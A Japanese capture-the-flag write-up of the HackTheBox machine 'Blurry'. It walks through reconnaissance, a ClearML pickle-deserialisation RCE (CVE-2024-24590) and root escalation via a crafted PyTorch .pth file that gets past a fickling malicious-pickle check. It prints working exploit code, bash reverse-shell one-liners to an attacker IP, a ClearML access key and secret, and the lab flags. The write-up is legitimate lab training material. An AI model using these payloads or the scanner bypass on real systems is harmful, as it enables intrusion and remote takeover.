概要
HackTheBox「Blurry」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.19 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.4p1 |
80 | http | nginx 1.18.0 |
ホスト名が分かったので、/etc/hosts
へレコードを追記します。
10.10.11.19 blurry.htb app.blurry.htb
80
へアクセスするとログインフォームが表示されました。
ClearML
が使用されていると分かりました。
サブドメインを列挙します。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.blurry.htb" -u http://blurry.htb -fs 169
app [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 264ms]
chat [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 418ms]
files [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 1065ms]
/etc/hosts
にサブドメインを追記します。
10.10.11.19 blurry.htb app.blurry.htb chat.blurry.htb files.blurry.htb
chat.blurry.htb
へアクセスするとログインフォームが表示されました。
Rocket Chat
が使用されています。
Rocket Chatにログインし、Home
->Open directory
からAnnouncements
チャンネルを開きます。
メッセージを翻訳するとreview
タグが付けられたタスクは定期的に実行されるようです。
ClearMLのBlack Swan
プロジェクトを探索しているとPython 3.9.2
,clearml 1.13.1
が分かりました。
また、アカウント設定ページのフッターからより詳細なバージョンが判明しました。
バージョン情報で検索すると、RCEの脆弱性CVE-2024-24590
が見つかりました。
下記サイトに脆弱性の詳細な概要とPoCが記載されています。
Kaliで攻撃環境を準備します。
ClearML 1.13.1
モジュールをインストールします。
$ python -m pip install clearml==1.13.1
ClearMLのセットアップをします。
$ clearml-init
(省略)
Paste copied configuration here:
コンフィギュレーションを求められるので、プロジェクトのEXPERIMENTS
タブ左上にある+
ボタンからCREATE NEW CREDENTIALS
をクリックし認証情報を生成します。
生成したものをコピーしセットアップを実行します。
認証に成功しました。
ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb
Verifying credentials ...
Credentials verified!
New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.
名前解決エラーが出る場合はapi.blurry.htb
を/etc/hosts
に追加する必要があります。
Verifying credentials ...
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec704450>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec707250>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Error: could not verify credentials: key=E3C6W5U98UY1OI74L0NL secret=tGJ2ksZfhGSGlCIURPipcjHek5861VduVfK1EYvhgvPwCdzGud
Enter user access key:
エクスプロイトコードを作成します。
import pickle
import os
from clearml import Task
class RunCommand:
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'",))
task = Task.init(project_name='Black Swan', task_name='my task',tags=['review'])
task.upload_artifact(name='pwned', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')
エクスプロイトコードを実行し、Netcatでリッスンしているとシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 54922
bash: cannot set terminal process group (4225): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$
/home/jippity/user.txt
からユーザーフラグを入手できました。
c79ca6d79111da03497e8a1ea52e1172
また、/home/jippity/.ssh/id_rsa
からjippity
アカウントのSSH秘密鍵を入手できたので、SSH接続にも成功しました。
$ ssh -i id_rsa jippity@blurry.htb
jippity@blurry:~$
Root Flag
sudo -l
で確認します。
$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
/usr/bin/evaluate_model
の処理を確認します。
まず、引数に.pth
ファイルを指定し、/models/evaluate_model.py
を呼び出しています。
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/opt/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
.pth
ファイルはPyTorch
モジュールのtorch.save()
で、モデルの保存をした際のファイル拡張子のようです。
.pth
ファイルはZIPアーカイブファイルになっています。
$ file /models/demo_model.pth
/models/demo_model.pth: Zip archive data, at least v0.0 to extract
次の処理では、.pth
ファイルを解凍しています。
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi
.pth
ファイルを解凍すると.pkl
ファイルがあります。
$ unzip demo_model.pth
Archive: demo_model.pth
extracting: smaller_cifar_net/data.pkl
extracting: smaller_cifar_net/byteorder
extracting: smaller_cifar_net/data/0
extracting: smaller_cifar_net/data/1
extracting: smaller_cifar_net/data/2
extracting: smaller_cifar_net/data/3
extracting: smaller_cifar_net/data/4
extracting: smaller_cifar_net/data/5
extracting: smaller_cifar_net/data/6
extracting: smaller_cifar_net/data/7
extracting: smaller_cifar_net/version
extracting: smaller_cifar_net/.data/serialization_id
その後、.pkl
ファイルを検索し、/usr/local/bin/fickling
を実行しています。
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done
fickling
ではPythonコードの静的解析ができ、悪意のある処理などを検出できるようです。
.pkl
ファイルの解析結果がOVERTLY_MALICIOUS
の場合は、モデルファイルが削除されるようになっています。
.pkl
の解析結果がOVERTLY_MALICIOUS
ではない場合、/models/evaluate_model.py
が実行されます。
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
fickling
の検出結果には、Likely Safe
,Possibly Unsafe
など何段階かあるようですが、最もクリティカルなOvertly Malicious
だけ判定しているようです。
Overtly Malicious
に判定されないエクスプロイトコードを実行出来れば権限昇格に繋がりそうです。
リバースシェル用のpth
ファイルを作成します。
import torch
import os
class RunCommand:
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/12345 0>&1'",))
torch.save(RunCommand(), 'pwn.pth')
safe_torch.py
を実行すると、pwn.pth
ファイルを作成できました。
$ ls -la
-rw-r--r-- 1 jippity jippity 912 Oct 15 10:06 pwn.pth
-rw-r--r-- 1 jippity jippity 191 Oct 15 10:06 safe_torch.py
Netcatでリッスンします。
$ nc -lnvp 12345
listening on [any] 12345 ...
/usr/bin/evaluate_model
を実行するとrootでリバースシェルを張れました。
$ sudo /usr/bin/evaluate_model /models/pwn.pth
[+] Model /models/pwn.pth is considered safe. Processing...
$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 36900
root@blurry:/tmp# whoami
whoami
root
/root/root.txt
からルートフラグを入手できます。
32d89c1f9453fcc0b5e74a914439556e
実際に作成したpwn.pth
ファイルを解凍し、fickling
の解析にかけるとLIKELY_OVERTLY_MALICIOUS
と判定されています。
これで/usr/bin/evaluate_model
の処理にあるOVERTLY_MALICIOUS
の判定をバイパス出来ています。
$ unzip pwn.pth
Archive: pwn.pth
extracting: pwn/data.pkl
extracting: pwn/byteorder
extracting: pwn/version
extracting: pwn/.data/serialization_id
$ /usr/local/bin/fickling -s --json-output /dev/fd/1 /tmp/pwn/data.pkl
{
"severity": "LIKELY_OVERTLY_MALICIOUS",
"analysis": "`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnsafeImports": "from posix import system",
"UnusedVariables": [
"_var0",
"system(...)"
]
}
}
}